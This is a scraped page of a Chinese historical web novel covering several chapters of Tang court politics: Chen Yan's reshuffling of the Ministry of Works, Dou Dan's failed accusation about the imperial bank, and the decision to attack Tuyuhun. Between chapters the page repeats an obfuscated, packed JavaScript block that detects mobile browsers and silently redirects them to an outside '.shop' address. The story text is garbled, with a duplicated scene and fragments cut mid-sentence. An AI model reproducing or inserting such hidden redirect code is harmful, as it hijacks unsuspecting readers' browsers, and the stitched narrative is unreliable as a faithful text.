;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17175386|176418||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 何事,都会对得起自 己身上穿的官袍! “嗯,好! 实际上,他内心对来济确实是挺看重的。 只可惜没有把来恒同样收下。 想起这件事,李世民心里微微一叹。 作为一名想做出事业的帝王,对于人才向来是不嫌多的,要不然也不会多次宽恕魏征,对陈衍在这种场合盘腿而坐视如不见。 李世民瞥了李承乾一眼,“太子爷朕记得你东宫公务繁忙,不知是否还缺少人手? “呵呵.听到这句话,陈衍属实没憋住,笑了一声。 可就是因为这道笑声,吸引了所有人的注意力。 “怎么?陈爱卿有事? 陈衍干咳一声,“陛下,臣没什么事,臣就是想起了一些高兴的事。 杜如晦等人嘴角一抽,心里忍俊不禁。 李世民黑着脸,正欲开口,李承乾清了清嗓子,站出来道:“父皇,如今东宫的公务确实繁忙,儿臣时常感觉到心力交瘁,面对众多公务已经快处理不过来了。 “故此,儿臣请求父皇能给予儿臣一些人手,帮儿臣分担一些压力。 李世民话语带着点阴阳,“说起来,来恒、来济作为同胞兄弟,如果放在一起难免有人说闲话,既然来济入了工部,就让来恒去你东宫任职怎么样? “至于具体安排什么职位,由你这位太子爷亲自决定,朕不插手,如何? “儿臣谢过父皇! 李承乾才不在乎李世民话语中的阴阳,人到手就好了。 至于下面的来氏兄弟,心里其实已经有所准备了,面对这种结果没什么意见。 因为从一开始,陈衍就跟他们说过,太子和陛下很看重他们。 如果没有考中科举,那就直接去东宫报到! “下去吧。李世民略带嫌弃地挥挥手,眼神时不时扫向工部,“诸位爱卿可还有事要奏? “如果没有,那么就正式进入宴会了。 “陛下!臣有事要奏。 “. 第600章 体面退场 “陛下,臣有事要奏。” 陈衍起身作揖,看起来颇为郑重。 李世民这次倒是有些惊了,按理来说,他都说出宴会开始这种话,应该无人再开口才对。 等宴会结束,许多官员以及考上的学子离开,那才是商议正事的时候。 如今陈衍突然跳出来,让李世民都愣了一下。 他严重怀疑陈衍又要搞事了。 李世民暗自想着,微微颔首,“陈爱卿但说无妨。” “是这样的陛下,我户部有一名官员,名叫康崇,出身微末,在武德年间靠着妻子织布支持,最终在二十五岁考上科举。”陈衍娓娓道:“因为其出色的表现,连太上皇都对其投去了几分关注的目光。” “但因为一些特殊原因.呵呵,导致他这么多年以来一直藉藉无名,始终坐在度支司员外郎一职上,不得寸进。” “自臣上任之后,康崇表现出了非同一般的能力,臣有心提拔他,奈何户部已无空缺的位置。” “所以,臣想请陛下看看康崇,他已经被耽误许多年了,为了大唐做出了不少功绩,不应该继续蹉跎岁月了。” 此话一出,不少人脸黑了下来。 如果说担任户部度支司员外郎,算是蹉跎岁月的话,那他们算什么? 活到狗身上去了吗? 另一边,因为今天特殊的日子,长安以及周边的官员都来参加宴会了,康崇自然是到场了的。 只是康崇实在没想到,陈衍竟然会在今天这样的日子提起自己。 这让他一时间有些惶恐。 “哦?”李世民诧异道:“出身微末,竟在二十五岁中榜入仕,康崇在哪里?” “臣康崇,拜见陛下。” 见李世民提起自己,康崇起身,认真一礼。 李世民打量他几眼,从他的年纪与已经半白的发色,大概就猜到这康崇应该是得罪了什么人。 否则以这样的履历,不应该这么多年还是个度支司员外郎。 李世民呵 呵笑了一声,“看起来精神气是不错,陈尚书希望朕怎么安排他?” “不如.也调到工部去吧?”陈衍顿了顿,笑吟吟地开口。 只是他的笑容,在工部官员的眼中,无异于阎王爷发笑,孟婆招手! 李世民一怔,心里彻底明白陈衍打的什么主意了。 一是康崇确实有能力,而户部没有合适的位置。 毕竟总不能把杜构、房遗直他们挤下来吧? 把马周、韩仲良挤下来更是不现实。 既然已经用李济开了个清理工部的头,索性再安排一个职位不低的人过去,为将来的大清洗,以及工部职位大变动做准备。 不过 唯一让李世民疑惑的是,此事分明可以私下说出来,然后直接安排便好了,为何要当众提出来? 现在的工部其实也没有多余的职位,还需要现点现杀,才能安排进去呢。 “陛下!” 这时,让所有人没想到的是,工部侍郎华瑾言自己站了出来,“前两年,臣身患疾病,但因为身居要职,始终未敢声张。” “可如今身体每况愈下,时常感到精力不济,已经难堪重任。” “故此.恳请陛下准臣,辞去工部侍郎一职,归家养病。” 话音落下,满堂先是死寂,随即响起一片压抑的哗然。 工部的几位官员脸色瞬间白了。 华瑾言这哪里是因病请辞? 这分明是看懂了风向,知道陛下和陈衍要对工部动手,自己主动跳出来,用一副还算体面的姿态,把位置给腾了! 毕竟,华瑾言并没有参与**,但他其实是知情的,但却选择了视而不见。 如果李世民刀落下来那一刻,华瑾言能不能逃掉并不好说。 可如今他自己请求辞官,潜台词是给康崇腾出位置,既保全了体面,也减少了自己被波及的风险。 只是华瑾言能退,他们呢? 李世民深深看了眼华 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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跟惊世智慧有得一拼 “陛下,臣出身微末,幸得朝廷明政,方才有了出头之日.”康崇一肚子话想要说出口。 但临近嘴边,只剩下一句,“臣,愿竭尽所能,不负陛下所托!” “好。”李世民缓缓点头,目光扫过殿中诸臣,“那便暂由康崇接任工部侍郎,署理事务。” “具体任命文书,由吏部明日下发,户部空缺的职位,由你们户部自己内部举荐吧。” “臣,叩谢陛下!”康崇再次郑重行礼,声音沉稳,听不出太多波澜。 可微微颤抖的双手,暴露了他的心情。 一场宴会,先是来济这位状元郎空降工部实权职位,再是华瑾言看懂风向,自主请辞。康崇这位从前户部的小透明,转瞬间成了工部四品侍郎。 工部的内部结构,谈笑间就被换了天。 身为工部尚书的王珪却依旧垂着眼,仿佛这一切与他无关。 坐在他后面的王崇礼,脸色已经白得发青,额角渗出细密的汗珠,连面前的酒盏都不敢去碰。 李世民将这一切尽收眼底,却不再多言,只举杯笑道:“诸位爱卿,既然尘埃落定,那就正式开始宴会吧。” “今日科举大吉,乃喜庆之日,别因为一些朝务扰乱了兴致。” 话音落下,康崇和陈衍各自回到自己的位置坐下,正式开始了宴会。 而下面,十五位刚考上科举,第一次上朝的学子,却是久久无言。 短短几句话间,一位足以称得上权势滔天的工部四品侍郎,就这么换人了 此事给他们心里带来了莫大的震撼,尽管他们不了解内情,但足以明白朝堂的残酷了。 来氏兄弟默默对视了一眼,随即移开了目光,小心翼翼地跟着众多官员吃喝。 他们不约而同想起了曾经陈衍说过的一番话。 出来混,要讲势力,讲背景! 站错了队,无论往日多么风光,终究会成为一场空。 如果站对了,即便当下渺小,未来仍是**。 但如果 不站队 呵呵! 最先死的就是这些人! “.” 宴会其实没什么好说的无非就是吃吃喝喝。 加上李世民不是那种爱端着架子的人开得起玩笑故此每当这种宴会气氛还是比较热烈的。 可在宴会快要结束的时候陈衍都在想着待会回家该以什么姿势躺着了。 杜如晦忽地给他递过来一个眼神。 陈衍一怔有些不明所以。 咋的啦? 似乎是看出了他的疑惑杜如晦轻轻抬手伸掌往下重重一劈。 陈衍眨眨眼一瞬间明白了杜如晦的意思。 李世民也投来了一个意味深长的目光。 陈衍无语。 这种事就不能私底下商量一下吗? 而且为什么一定要我来开这个头啊? 你们一个一个嘴是被自家的大唐悍妇缝上了吗? 陈衍选择观望不打算参与这件事。 看他没什么动作李世民眯了眯眼主动出击:“陈爱卿朕前些日子听说你跟太子爷合伙开的钱庄.一日间收揽了万万贯钱。” “如今你跟太子爷足以称得上一句富可敌国啊!” 陈衍:“.” 听到这里窦诞眼睛一亮在众人没反应过来时起身拱手“陛下臣正准备说这件事呢。” 李世民皱了皱眉心里有些不耐烦。 不知道这货突然跳出来又是想干什么。 另一边程咬金幸灾乐祸地对旁边的尉迟恭道:“尉迟老黑你瞧着吧我觉着有好戏看了。” 尉迟恭下意识点点头 陈衍叹了口气差不多猜到了窦诞想干什么。 只能说.该死的鬼终究该死啊! “陛下臣要**户部尚书陈衍不仅与民争利而且蛊惑太子殿下以皇家的名义开了所谓的钱庄不仅大肆敛财更可恨 的是,利用这部分从百姓身上拿来的钱,又通过高额利息的手段放出去,以此谋私。 窦诞挺直胸膛,当着百官的面侃侃而谈,丝毫没察觉前方几位官员投来的怜悯目光:“陈衍身为户部尚书,知法犯法,而且屡教不改! “各位,我想问问你们, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17175388|176418||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 万万贯现钱是什么概念?我大唐国库一年的财政收入才是多少? “全部折现,也才不到两千万贯啊! “而户部尚书陈衍,仅凭借一个名头,便获取到了无数百姓的信任,收取了大唐超过五年的税收。 “何其可笑? 陈衍只觉得乏味,甚至都懒得说什么。 人生路漫漫,要做的事太多了,何必跟一个**计较呢? 这窦诞.跟高阳犯傻时的惊世智慧有得一拼! 李世民眼底杀意一闪而逝,表面却笑吟吟道:“窦爱卿继续说,朕听着呢。 窦诞朗声道:“陛下,臣恳请严惩户部尚书陈衍,不能再让他继续蛊惑太子殿下,利用皇家的名头坑骗百姓,以此牟取巨利! “太子爷,你有什么想说的?李世民头也不回道。 李承乾沉吟片刻,长叹一声,“父皇,儿臣没什么想说的,儿臣很想彼其娘,但终归是儿臣的长辈,当着文武百官的面,儿臣不能失了礼仪。 “否则,李先生该教训儿臣了。 太子少师李纲眼角抽搐。 他其实很想说,你骂吧。 因为我也挺想骂的。 这**,一个人为什么能蠢笨到如此地步? 李纲真的不理解。 “诸位爱卿怎么看呢?李世民低笑,环视众臣。 原本喧闹的大殿,此时安静无比,无一人开口。 窦诞有点懵。 怎么大家的反应跟自己想象中不同呢? 不应该是群情激奋吗? 大家一起对陈衍口诛笔伐,把他送上绞刑架吗? 户部现在几乎被陈衍完全掌控,如果陈衍倒下,那得空出多少位置啊! 利益不都摆出来了吗? 为什么啊? “窦大人! “下官有一事不明,能否请窦大人解惑? 陈衍能把窦诞当猴看,不想搭理他,康崇却是忍不了,当即站出来发问。 没给窦诞说话的机会,康崇直接问道:“窦大人,下官想了解一下,到底什么叫做**,叫做与民争利? “. 第602章 第一次上朝就这么刺激? “他利用百姓存在钱庄里的钱,然后再拿着这部分钱财放贷给百姓,这难道还需要质疑吗?” 窦诞清楚康崇是陈衍的人,所以丝毫不顾忌什么,冷冷开口:“通过百姓存入的钱,然后又放贷给百姓,真是打得一手好算盘!” “这跟那些鱼肉百姓的地主老财有何区别?” 康崇不慌不忙道:“可是大人,您清楚钱庄的利息是多少吗?又清楚钱庄为什么有那么多人存钱,又为什么有人一次性存入万万贯吗?” “你不清楚!” 他自顾自地说:“如果尚书大人的钱庄,跟地主老财一样九出十三归,您可以说他放**。” “可是钱庄的借贷,借一百文钱,一年的利息不过区区十文,如果这叫做**的话,那您口中的地主老财,是不是应该株连九族啊?” 康崇呵呵笑道:“下官继续给您打个比方吧,一个贫苦的百姓,跟钱庄借贷一斤粮食,他一年之后,需要还的利息连一捧都不到。” “你认为这是**?” 窦诞神色冷了下来,“所以,你的意思是,陈尚书还是在做好事,在为天下百姓着想咯?” “下官没有这个意思。”康崇缓缓摇头,“下官继续讲讲,您说陈尚书蛊惑太子殿下,利用皇家的名义牟取利益。” “说这件事之前,您有没有了解过,百姓存入钱财,他们其实也是获利的?” “您一口一个陈尚书的钱庄大肆敛财,收取了超过万万贯,但按照钱庄的规矩,存入一千万贯,哪怕他什么都不用做,钱庄每年需要支付存入者五十万贯的利息。” “如果不是因为这个规矩,窦大人认为,凭什么那么多百姓、富商,乃至世家都跑去存钱?” 窦诞根本不吃这套,反倒更加肆意了,“所以这就是问题所在,他用高额的利息骗取百姓存入钱财,再用更高的利息放贷给百姓!” “这难道不是与民争利吗?” “更何况,他还借助” “够了!”李世民忽地开口,打断了窦诞的话。 “陛下.” “不用说了!”李世民坐下来眼神冰冷刺骨“钱庄是朕开的!” “与其说陈衍蛊惑太子倒不如说陈衍蛊惑了朕!” “你所谓的与民争利争的利全收入了朕的口袋拿去建了图书馆铺了路修建了水利推广了农具!” “窦大人您的意思是朕错了!?” 窦诞懵了。 文武百官也懵了! 其实绝大部分官员都是聪明人很清楚钱庄的底细到底是什么。 所以即便钱庄爆出怎样震撼人心的消息都没人提过这件事。 但偏偏遇到了窦诞这么个愚蠢至极的东西当着大家的面把这件事说开了。 “陛下臣.” “不用臣了!”李世民已经不想再听这个跳梁小丑说话了缓缓道:“无舌将窦大人这些年功绩拿上来让他自己看看吧。” 无舌恭敬应了声下去了。 窦诞不明所以什么叫把他这些年的功绩拿上来看看? 可很快他明白了。 因为无舌回来的时候带着厚厚的一沓纸。 “窦诞看看吧。” 窦诞下意识接过看清上面记录的东西后浑身止不住地颤抖腿都软了。 这些都是他这么多年中饱私囊利用职权收取好处甚至诬陷忠良帮有罪者开脱的证据。 李世民淡淡道:“其实朕原本看在你妻子的面子上想给你一个体面的奈何你实在太过聪明朕容不下你了啊。” “陛下!臣有错!” 窦诞一瞬间跪下了忙不迭地磕头“臣不该鬼迷心窍臣知错了。” 陈衍笑嘻嘻道:“窦大人哟您不是知道错啦您是知道自己要死啦!” “下辈子说话做事的时候动动您那生锈的脑子吧!” “你闭嘴!”李世民呵斥了一句只觉得头疼。 看着下面的窦诞 “来人, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17175389|176418||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 把窦诞大人带下去,关入大理寺监牢,等候发落! 话落,两名禁卫走进来,当着文武百官的面,押着不断哀嚎、求饶的窦诞下去了。 李世民冷冷扫视着众多大臣,“还有谁要拿钱庄说事?现在朕就告诉你们,钱庄就是朕让陈衍和太子开的,你们有何异议? 殿内寂静无声,大部分人都低下了头。 十五位学子属实是开了眼。 无论如何都没想到,上朝第一天就这么刺激! “陈衍,你有什么想说的?李世民又问。 陈衍有些无奈,知道今天自己铁定是逃不掉了,站起来道:“陛下,户部已经跟钱庄签订了借款协议,出兵吐谷浑的物资,户部已经全部备齐了。 他的话音落下,众多将士的眼睛顿时亮了,而文官们都惊呆了。 “你你用户部向钱庄借贷?萧瑀不可置信道。 陈衍颔首,“萧大人认为此举不妥? “倒也不是不妥就是萧瑀一时间不知道该怎么开口了。 用户部的名义去跟钱庄借贷,这是他们无论如何都没想到的。 可仔细想想.这样一来好像各方面都符合礼法啊。 钱庄是皇家的,皇家不能私自出钱,但因为要出兵,户部拿不出钱,跟钱庄借贷,签订了契约,这样一来各方面又说得通了。 因为钱还是户部出的。 借贷,借贷! 既然借了,肯定得还啊。 所以,这件事好像从各方面都挑不出毛病。 念至此处,萧瑀久久无言,最后只道:“陈尚书魄力十足某佩服! “如此一来,萧爱卿还反对出兵吗?李世民问道。 萧瑀其实也是反对出兵的,不过只在私底下说过,让李世民不要着急,所以他才这么问。 萧瑀沉默道:“既然户部解决了最大的问题,且在不劳民伤财的情况下,臣自然不会反对。 “那诸位!还有人反对朕出兵吗? “. 第603章 出兵落定 窦诞,说实话。 这个人哪怕放在整个大唐朝廷中,都是属于鹤立鸡群的存在。 其惊世智慧,真的令人佩服不已。 当场,王珪下来那天,戴胄调任秘书监,户部尚书的位置空出来,窦诞绝对不是第一个盯着这个位置的人。 但只有他立刻跳了出来反对李世民让陈衍担任户部尚书。 如果仅仅是这样,那也就算了。 偏偏他还傻得可以。 在一切尘埃落定,陈衍已经上任户部尚书,而且在李世民的帮助下,掌控了户部,坐稳了自身位置的情况下,竟然还妄图针对陈衍。 大哥,你到底是有多想不开啊。 没看到人家已经大势已成了吗? 所有人都在想着怎么巴结人家的时候,偏偏你还继续跳出来。 咋地? 真以为娶一个不是跟李世民一母同胞的妹妹,你就天下无敌了? 不知道自己的位置是怎么坐上去的吗? 因此,在窦诞被带走之后,几乎没有一人说什么,连他的下属都不吭声了。 “陈衍,你有什么想说的?”李世民又问。 陈衍有些无奈,知道今天自己铁定是逃不掉了,站起来道:“陛下,户部已经跟钱庄签订了借款协议,出兵吐谷浑的物资,户部已经全部备齐了。” 他的话音落下,众多将士的眼睛顿时亮了,而文官们都惊呆了。 “你你用户部向钱庄借贷?”萧瑀不可置信道。 陈衍颔首,“萧大人认为此举不妥?” “倒也不是不妥就是”萧瑀一时间不知道该怎么开口了。 用户部的名义去跟钱庄借贷,这是他们无论如何都没想到的。 可仔细想想.这样一来好像各方面都符合礼法啊。 钱庄是皇家的,皇家不能私自出钱,这违背了礼法。 但因为要出兵,户部拿不出钱,特殊情况下,跟钱庄借贷,签订了契约,这样一来各方面又说得通了。 因为钱还是户部出的。 借贷借贷! 既然借了肯定得还啊。 所以这件事好像从各方面都挑不出毛病。 念至此处萧瑀久久无言最后只道:“陈尚书魄力十足某佩服!” 陈衍摇摇头“有什么好佩服的我说过在这件事上户部绝不拖大家后腿。即便户部没有想办法也会有!” 好好好! 众多将军心中欣慰不已咋看陈衍咋满意。 还是咱们武将世家走出来的孩子对他们胃口跟那些只会冠冕堂皇的读书人就是不一样。 瞧瞧这话说得! 即便户部没有想办法也会有! 对味儿! 太对味儿啦! “如此一来萧爱卿还反对出兵吗?”李世民问道。 萧瑀其实也是反对出兵的不过只在私底下说过让李世民不要着急所以他才这么问。 萧瑀沉默道:“既然户部解决了最大的问题且在不劳民伤财的情况下臣自然不会反对。” “只是臣有个疑问。” 李世民:“萧爱卿但说无妨。” “敢问陈尚书户部跟钱庄借贷是按照钱庄的规矩吗?具体的借贷金额我不过问可我想问问 萧瑀道:“对外动兵需要耗费的人力物力非同小可尽管我不知道户部跟钱庄具体借了多少想来数字应该小不到哪里去。” “如果来年还贷的话户部会不会因还了大量钱粮导致无法维持正常运转?” 听到这些话陈衍笑笑“萧大人的疑问相信也是不少同僚的疑问在此我给诸位解答一下吧。” “户部跟钱庄借贷的现钱、粮食确实不少但我户部并非没有分寸。按照钱庄的规矩大额借贷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17175390|176418||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 利息会更低而且还款的期限同样会放宽。” “户部跟钱庄签订的三年契约也就是说户部并非需要在明年一次性还清借 款而是分三年还每年只需要还一部分。” “故此户部的还款压力会小很多不至于影响到朝廷正常运转导致严重的问题产生。” 萧瑀恍然大悟点点头“陛下臣没有疑问了。” 李世民面向众臣:“那诸位!还有人反对朕出兵吗?” 话已经说到这个份上大家都知道大势不可逆所以几乎全在附和无人再跳出来反对了。 “好既然如此!”李世民心中欣喜当即开口:“李靖!” 位于兵部首位的李靖立刻起身“臣在!” “朕命你为西海道行军大总管节制诸军总筹对吐谷浑之战。”李世民语气带着不容置疑的意味一字一句道:“自今日起行台、兵部、户部皆需全力协助于你四个月内完成战前所有调度。” “粮草、军械、人员朕要看到五万大军在七月正式进入可以开拔的整备之态。” 李靖心中激动抱拳郑重道:“臣领旨定不辱命!” “好!” 李世民微微颔首目光在众多文臣武将之间流转轻声道:“此次对吐谷浑之战绝非朕一日之念更非朕仓促起兵。” “自贞观五年以来吐谷浑慕容伏允表面对我大唐恭敬俯首称臣实则背信弃义屡次犯我边疆劫掠边疆百姓夺取过路商队更与周边游牧部族特别是吐蕃暗自联系图谋甚大。” “朕忍他一时并非是朕不能战不敢战!” “而是待到天时地利人和全部汇聚如今三者皆备.” 李世民顿了顿声调抬高:“那便战!!” 一个战字如巨石砸入大河 程咬金、尉迟恭等人虽然没得到主帅的位置却已经开始摩拳擦掌呼吸都重了几分。 “.” 第604章 陈衍:要谢就谢你们自己吧 待出兵的事情彻底落地,魏征忽然站了出来,“陛下,臣有一事不明,希望陛下解惑。” 李世民挑了挑眉,搞不懂魏征这个时候又跳出来干什么,是对出兵的事还有疑问? 沉吟片刻,他道:“魏爱卿有何疑惑?” “是这样的,陛下,您方才说,钱庄是您借了太子殿下的名头,跟陈尚书在外成立的。”魏征缓缓开口,“那么,您成立这所钱庄的目的是什么?” “既然连户部都需要守钱庄的规矩,那么皇室自身是否同样要遵守钱庄的规矩?” “毕竟,窦诞虽然蠢笨,有一句话说得却很对,那就是钱庄的钱来源于天下百姓,来源于各个富商、世族、勋贵,涵盖了大唐从上到下所有阶级。” “钱庄的钱只是他们存入的,归属仍然是他们自己的,若是有人可以随意逾越规矩,大规模调动钱庄的钱财,导致钱庄内部剩余钱财不多,而这时恰好有人来取钱,钱庄拿不出来又该怎么办?” 陈衍听着听着,原本还想解释两句的,可听到后面,他越来越觉得不对劲,安**下来了。 魏征好像不是冲着钱庄去的,而是冲着李世民去的。 这跟他就没关系了。 李世民脸果然黑了一下,听懂了魏征的潜台词。 连户部都需要遵守钱庄的规矩,自然不可能是户部去逾越钱庄的规矩。 那么魏征举的例子,说那个可以随意跨过钱庄规矩的人,难道还用说吗? 李承乾这时干咳一声:“魏侍中,孤当初跟陈尚书成立钱庄的时候,就定下过血誓了,孤不会逾越钱庄的规矩。” “除了钱庄的收益孤可以占据一份,孤想调用钱庄的钱财,仍然需要遵守钱庄的规矩。” 意思就是说,别扯上我,我即便想要从钱庄拿钱,也需要借,还需要还利息。 魏征点点头,“太子殿下英明。” 李世民嘴角抽搐,这一个两个的,一天天怎么老喜欢针对他? 咋地,都喜欢搞我吗? 彼其娘的,总有一天朕 要找借口把你们都送进大理寺狱关上几天。 不过 心里吐槽归吐槽,李世民差不多隐隐明白了魏征的意思。 毕竟今天因为窦诞那个蠢货,原本大家默契闭口不提的钱庄被摆在了明面上。 有些事情不上称没有四两重,一旦上称,千斤都打不住。 既然已经摆到了明面,自然要给百官一个解释,给天下一个交代。 既能给钱庄正式背书,扩大影响力,也好让天下人安心。 李世民沉吟道:“钱庄是钱庄,朕是朕!” “户部、太子都需要遵守钱庄的规矩,朕自然不例外。毕竟就像魏爱卿所说,有些规矩是不能逾越的,否则会产生严重的后果,失了民心!” “至于钱庄的用意它从来不是为了盈利,而是为了给天下百姓一个保证,也为了方便百姓、富商的财物流通.” 李世民噼里啪啦说了一大堆漂亮话,总结起来其实就一个意思,就是为了方便天下百姓。 至于更深层次的经济流通,他倒是没说。 这些事自己明白就好了,没必要跟所有人都解释清楚。 等李世民说完,魏征故作恍然:“臣明白了,感谢陛下解惑。” 李世民瞥了他一眼,淡淡道:“可还有爱卿对钱庄存在疑惑?” 有些官员刚想出来问,李世民再度开口:“既然没有,那今日的宴会就到此结束吧。” “散朝!” 众人:“.” 走出太极殿,陈衍忍不住笑了一声。 杜如晦乐道:“子安,你这是笑什么呢?” “我笑什么,蔡国公难道不清楚吗?”陈衍忍俊不禁道。 最后散朝的时候,明显还有人想问问钱庄的问题,但李世民压根不给机会啊。 一句今天就到这里,堵住了所有人的嘴。 今后怕是也没人再过问钱庄了。 “陈大人” 这时,来氏兄弟找了过来。 杜如晦很自觉地说:“子安你先忙我跟房兄先走一步 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17175391|176418||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。” “好。”陈衍看出了来氏兄弟找自己有事所以没说什么。 而后陈衍对来氏兄弟示意跟上一边往前走一边问:“怎么样?今天第一次上朝感觉如何?” 来恒迟疑了一会儿讪讪道:“说真的我今日来的时候本以为今天是正常的宴会不会说什么朝政上的事毕竟还有我们这些人在呢” “我实在是没想到今天竟然发生了这么多事!” “陈大人朝堂之上.每天都是这样的吗?” 陈衍回想了一下从前上朝的经历回道:“其实算不上今天是比较特殊遇见了窦诞这样的蠢货。” “正因为他所以才引发了后面的事。” “要不然的话今天估计只会把出兵正式落定下来然后就吃吃喝喝了。” 说着他顿了顿“但你们也别把朝堂想得太好虽然说你们现在还不用上朝以后终归是要经历的。” “这里面啊到处都是人情世故和尔虞我诈该闭嘴的时候要学会闭嘴该骂人的时候也别端着读书人的架子。” “反正从我当上这个户部尚书以来如果没事还好一旦有事不是在骂人就是在骂人的路上。” “你们要做好心理准备啊。” 来氏兄弟:“.” 来济试探性地问:“陈大人你们好像有点针对工部工部是出现什么情况了吗?” “这个啊”陈衍想起工部干的事咂舌:“工部的情况说起来很复杂简而言之就一句话工部已经**至极你们今天看到的工部官员超过七成都得死。” “你去工部其实对你很有利因为陛下已经忍不住要动手了在无人可用的情况下你晋升会相当快所以你得做好准备。” 来氏兄弟恍惚了一下心里隐隐明白了什么没有多问。 一句超过七成都得死已经足够说明太多问题了。 “谢陈大人!”来济再次郑重道谢。 陈衍笑着摆摆手“不用谢我这是大家的意思是陛下与我们都想看到的情况你正好踩中了风口。” “要谢就谢你们自己吧如果不是你们争气 “.” 第605章 这就够了 “子安!” 三人说话间,背后又有人叫了一声。 陈衍转头望去,发现是程咬金、尉迟恭以及秦琼三人找了过来。 “行了,我这边还有事,你们俩该忙什么就忙什么去吧,来恒记得去一趟东宫。”陈衍对两兄弟叮嘱一句。 两人也是有眼色的,知道陈衍忙,故此便告辞了。 “小子,走,上我家喝酒去。”程咬金毫不客气地上来揽着陈衍的肩膀,推着他往外走。 “你家还能有什么酒喝?牛肉都没得吃了。”陈衍轻笑道:“你难道忘了?陛下严令禁止你继续杀牛了。” 程咬金黑了脸,“我奉劝你最好别哪壶不开提哪壶,陛下为什么下这种命令,你自己心里没点数吗?” “哈哈哈哈!”尉迟恭大笑,“程老黑啊,咱们还是有区别的,你看陛下就没对俺下这种命令。” “那还不是因为这小子吗?”程咬金怼道:“如果不是因为他,把这件事摆到了明面上,我至于变成这样?” “呵呵,你还怪上我了。”陈衍可不背这个锅,“你看看这满朝上下,谁家不死几头牛啊?可为什么别人都不出问题,就你出问题呢?” “要我说啊,你自己但凡找个靠谱点的理由,别一天天整什么为情上吊,大家都不至于拿这件事来说你。” “嘿!混小子,当初我家的牛,就你小子吃得最香,现在翻脸不认人了是吧?”程咬金怒瞪。 “行啦!”秦琼眼看他们又要扯起来,站出来打断道:“能不能说点正事?” “牛不牛的,重要吗?” “出兵的事已经落定了,大家等了这么多年,好不容易等来一次机会,怎么也得庆祝一下。” 秦琼拍开程咬金搭在陈衍身上的手,笑着说:“你们也别争了,去我那里,今儿个高兴,咱们好好喝一顿。” 程咬金和尉迟恭倒是无所谓,在哪吃不是吃? 然而陈衍却拒绝了,“算了,秦伯伯,出兵的事情落定,刚刚陛下还当众下令,让我配合李靖,我估计待会人家就要找 上门了我恐怕没时间。” 秦琼一怔想想也是。 如今的陈衍不同以往身上公务繁忙时间确实没多少了。 “.那好吧等你有空了来家里聚聚。”秦琼有些失望但也没勉强。 自己如今大部分时间都在渭南县等过段时间又要出去打仗恐怕没多少时间聚聚了。 “秦伯伯以后时间多的是不必急于一时。”陈衍笑笑顿了顿“而且我还有一件事需要你帮忙呢。” “什么事你尽管说。”秦琼问都没问直接道。 “是这样的。”陈衍道“我培养来恒、来济的方法就是在渭南县折冲府还让处默他们帮了忙程伯老黑不是想让处亮也去参加科考吗?” “你顺便让处默他们帮我带几个人我会去跟颜家人说说帮忙请几个先生的。” “让处默他们就按照之前的办法来就好了。” 程咬金人傻了“不是?小子来恒、来济不是你亲自培养的吗?” 陈衍白了他一眼“我只负责出方法具体是由处默和宝琳他们实施的你也别让处亮来我这里了直接送到渭南县折冲府去吧!” “等等你们先缓缓。”尉迟恭突然打断了他们“你们刚刚说培养谁来着?” “程处亮那小子?去考功名?” 